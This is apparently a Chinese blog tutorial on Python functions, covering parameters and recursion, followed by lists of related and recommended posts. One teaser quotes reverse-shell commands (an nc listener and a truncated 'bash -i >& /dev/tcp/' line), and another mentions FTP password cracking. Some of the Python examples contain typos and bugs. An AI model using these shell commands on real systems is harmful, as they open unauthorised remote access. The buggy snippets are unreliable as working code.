函数

函数的定义

  1. def 语句定义函数,格式如下:

    def sayHello(name):

    if(name):

    print('hello',name)

    else:

    print('hello,','I'm nomor\n')

    name = input('Would you mind tell me your name?\n')

    sayHello(name)

    name = input('请输入你的姓名:')

    sayHello(name)

  2. 函数执行会返回值,默认为 None

    def my_abs(x):

    if(x >= 0):

    return x

    else:

    return -x

    newNum = int(input('请输入一个数字:'))

    my_abs(newNum)

    要注意到是,函数可以返回多个值,最后返回的多个值组成的 tuple

    def num():

    return 1,2,3,4,5

    print(num())

    print(num()[1])

  3. pass 语句 pass语句可以作为一个占位符,例如定义一个空数组

    def void():

    passs

函数的参数

  1. 在仅有位置参数的情况下,调用时候输入的参数必须和位置参数相同,否则会报错

    def num(x,y):

    return [x,y]

    会报错

    num(1)

  2. 使用默认参数,可以在调用的时候不添加参数

    def num(x,y=2):

    return [x,y]

    num(1) # [1,2]

  3. 可变参数,输入多个参数,调用的时候会变成一个tuple

    def num(*num):

    print(num[0])

    num(0,1,2,3,4,5,6,7,8,9)

  4. 关键字参数 内部组装成 dict

    def person(**kw):

    print(kw)

    person(city = 'Qingdao')

    city = {"city" : "Qingdao"}

    person(**city)

5.命名关键字 利用 * 控制传入的 dict 的 key ,若前面有可变参数则可以省略

def person(*,city,job = 'FE'):
print(city) person(city = 'Qingdao') def person2(*args,name,sex):
print(args)
print(name) person2(1,2,3,5,name = 'zx',sex='girl')
  1. 参数组合使用时具有顺序:必选参数、默认参数、可变参数、命名关键字参数和关键字参数
  2. 可以用 *[] 的方式 和 **{} 调用里面的值

递归

函数内部调用函数这种方式就叫做递归,递归可能造成栈溢出

def move(n,a,b,c):
if n > 10 :
print('我觉着你看不完')
elif n == 1:
print(a,'=>',c)
else:
move(n-1,a,c,b)
print(a,'=>',c)
move(n-1,b,a,c) num = input('请输入汉诺塔的数目(小于10):')
move(num,'A','B','C')

python 第三天的更多相关文章

  1. 学习Python的三种境界

    前言 王国维在<人间词话>中将读书分为了三种境界:"古今之成大事业.大学问者,必经过三种之境界:'昨夜西风凋碧树,独上高楼,望尽天涯路'.此第一境也.'衣带渐宽终不悔,为伊消得人 ...

  2. selenium webdriver (python) 第三版

    感谢 感谢购买第二版的同学,谢谢你们对本人劳动成果的支持!也正是你们时常问我还出不出第三版了,也是你们的鼓励,让我继续学习整理本文档. 感谢乙醇前辈,第二版的文档是放在他的淘宝网站上卖的,感谢他的帮忙 ...

  3. Python第三天 序列 数据类型 数值 字符串 列表 元组 字典

    Python第三天 序列  数据类型  数值  字符串  列表  元组  字典 数据类型数值字符串列表元组字典 序列序列:字符串.列表.元组序列的两个主要特点是索引操作符和切片操作符- 索引操作符让我 ...

  4. 简学Python第三章__函数式编程、递归、内置函数

    #cnblogs_post_body h2 { background: linear-gradient(to bottom, #18c0ff 0%,#0c7eff 100%); color: #fff ...

  5. 初学Python(三)——字典

    初学Python(三)——字典 初学Python,主要整理一些学习到的知识点,这次是字典. #-*- coding:utf-8 -*- d = {1:"name",2:" ...

  6. Python第三天 序列 5种数据类型 数值 字符串 列表 元组 字典 各种数据类型的的xx重写xx表达式

    Python第三天 序列  5种数据类型  数值  字符串  列表  元组  字典 各种数据类型的的xx重写xx表达式 目录 Pycharm使用技巧(转载) Python第一天  安装  shell ...

  7. python selenium 三种等待方式详解[转]

    python selenium 三种等待方式详解   引言: 当你觉得你的定位没有问题,但是却直接报了元素不可见,那你就可以考虑是不是因为程序运行太快或者页面加载太慢造成了元素不可见,那就必须要加等待 ...

  8. python第三十一课--递归(2.遍历某个路径下面的所有内容)

    需求:遍历某个路径下面的所有内容(文件和目录,多层级的) import os #自定义函数(递归函数):遍历目录层级(多级) def printDirs(path): dirs=os.listdir( ...

  9. Python的三种格式化输出

    今天刚学了python的三种格式化输出,以前没接触过这么有趣的输出方式,现在来分享一下. #!/user/bin/env python#coding:utf-8#三种格式化输出 #第一种格式化输出na ...

  10. Python进阶(三十五)-Fiddler命令行和HTTP断点调试

    Python进阶(三十五)-Fiddler命令行和HTTP断点调试 一. Fiddler内置命令   上一节(使用Fiddler进行抓包分析)中,介绍到,在web session(与我们通常所说的se ...

随机推荐

  1. springmvc4.0配置ajax请求json格式数据

    1.导入相关jar包:jackson-annotation-2.5.4.jar,jackson-core-2.5.4.jar,jackson-databind-2.5.4.jar. 2.spring- ...

  2. Linux下NC反弹shell命令

    本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...

  3. Java8 in action(1) 通过行为参数化传递代码--lambda代替策略模式

    [TOC] 猪脚:以下内容参考<Java 8 in Action> 需求 果农需要筛选苹果,可能想要绿色的,也可能想要红色的,可能想要大苹果(>150g),也可能需要红的大苹果.基于 ...

  4. ftp站点密码破解

    启动流光软件,在"F T P 主机"点击鼠标右键选择"编辑 | 添加",然后添加想要利用的那个 F T P 地址,然后在弹出的对话框添加欲利用的主机,FTP 主 ...

  5. Android - DrawerLayout

    Android DrawerLayout 的使用 Android L Android Studio 1.4 从主视图左侧能抽出一个导航栏,效果图:  点击后弹出新界面:  新界面也可以抽出左侧导航栏 ...

  6. C/C++中static关键字的用法

    1.什么是static? static 是C/C++中很常用的修饰符,它被用来控制变量的存储方式和可见性. 1.1static的引入 我们知道在函数内部定义的变量,当程序执行到它的定义处时,编译器为它 ...

  7. oracle分组-神奇的cube和rollup

    先看代码: 表结构如下: emp表 EMPNO                                     NOT NULL NUMBER(4) ENAME                 ...

  8. (转)PL SQL Developer 使用总结

    如果OS为windows 7 64位系统,Oracle版本为 Oracle 11g 64 安装PL SQL Developer 请参考    http://myskynet.blog.51cto.co ...

  9. 解决input[type=file]打开时慢、卡顿问题

    经过测试发现,在mac里面safari.Firefox.Chrome(opera不知道为啥老闪退)都没有卡顿问题 在windows里面,Firefox不卡顿,只有Chrome卡顿. 然而,这个插件是从 ...

  10. Android studio java.lang.UnsatisfiedLinkError

    最近开始转android Studio 本来以为新的开发工具会大大的提高效率 .结果我错了.今天踩了一天的坑. 我的项目中用到了so的文件.通常情况下在 eclipse中我们在libs/armeabi ...